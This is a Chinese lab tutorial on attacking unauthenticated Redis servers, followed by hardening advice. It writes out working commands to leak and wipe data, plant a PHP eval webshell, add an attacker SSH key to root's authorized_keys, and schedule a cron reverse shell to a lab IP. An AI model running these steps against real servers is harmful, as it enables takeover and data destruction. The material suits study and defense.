介绍
Redis默认配置是不需要密码认证的,也就是说只要连接的redis服务器的host和port正确,就可以连接使用。因此如果配置不当(没有启用redis的认证密码),可以造成上传webshell,数据库泄露,代码执行,敏感信息泄露,写入ssh公钥,利用计划任务反弹shell等
环境:kali(vps) 192.168.188.128
kali(web服务器) 192.168.188.158
当用Namp扫描发现6379端口对外开放时,用web服务器连接vps
基本命令
Config set dir [path]: 决定文件的写入路径
Config set dbfilename [filename] :决定文件名
Set key value: 确定文件的内容,key值任意即可,value为文件内容
save命令: 确定以上所有操作并生成文件
漏洞利用
1.Redis未授权访问获取敏感信息
命令:info
可以看到redis的版本信息,操作系统的内核信息,配置文件的绝对路径
可以看到里面的key及对应的值
命令:
keys * (显示所有key)
get foo (获取对应key的值)
2.Redis删除数据
命令:
flushall (删除所有数据)
del key (删除键为key的数据)
3.写入webshell
注意:用redis写文件会出现一定的乱码,只要在数据前后加上至少三个\n就解决了,如果不加的话,会导致shell执行失败
命令:
config set dir /var/www/html
config set dbfilename shell.php
set x “\n\n\n<?php @eval($_POST['cmd']);?>\n\n\n”
save
可以看到vps该目录下已经生成此小马,然后用菜刀连接即可
4.写入ssh公钥
利用原理:ssh免密码登录,方法为使用“公私钥”认证,在客户端上创建一对公私钥,然后把公钥放在服务器上,在ssh登录时候,ssh会发送私钥和服务器上的公钥做匹配,如果匹配成功则可以登录。
利用条件:redis服务使用root账号启动
redis服务无密码认证或者使用弱口令进行认证
服务器开放了ssh服务,且可以使用密钥登录
(1)先在本地生成ssh公私钥文件
命令:ssh-keygen -t rsa
可以看到第一个红箭头是连接ssh的密码,第二个红箭头(id_rsa.pub)是生成的ssh公钥文件,id_rsa是你的私钥
(2)将该公钥写入test.txt中,前后各加三个\n
命令:(echo -e "\n\n\n";cat /root/.ssh/id_rsa.pub; echo -e "\n\n\n") > /home/hdh/test.txt
(3)将test.txt写入靶机
命令:
cat /home/hdh/test.txt | redis-cli -h 192.168.188.128 -x set crackit
config set dir /root/.ssh/
config set dbfilename authorized_keys
get crackit
Save
这里是设定了crackit的键值为公钥,并通过redis命令变更Redis DB文件及存放地点为默认root用户SSH key存放文件,并将键值重定向追加到远程文件authorized_keys的末尾,也就上传了公钥
这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里。
(4)用ssh进行连接
命令:ssh root@192.168.188.128 或者ssh -i id_rsa root@192.168.188.128
因为我生成公私钥是没有写密码,因此可以直接登录
5.反弹shell
命令: set shell “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.188.158/4444 0>&1\n\n”
config set dir /var/spool/cron
config set dbfilename root
Save
Redis设置一个shell为key,每一分钟向192.168.188.158的4444端口发送一个bash交互式请求,然后利用config命令保存定时任务
理论可以返回shell,这里一分钟后仍没有返回
漏洞修复
网上收集的一些修复建议:
禁止一些高危命令
修改 redis.conf 文件,添加
rename-command FLUSHALL “”
rename-command CONFIG “”
rename-command EVAL “”
来禁用远程修改 DB 文件地址
以低权限运行 Redis 服务
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
$ groupadd -r redis && useradd -r -g redis redis
为 Redis 添加密码验证
修改 redis.conf 文件,添加
requirepass mypassword
禁止外网访问 Redis
修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
bind 127.0.0.1
保证 authorized_keys 文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。
将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
$ chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
#chattr +i ~/.ssh/authorized_keys
然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:
#chattr +i ~/.ssh
注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。
参考链接:https://www.freebuf.com/column/158065.html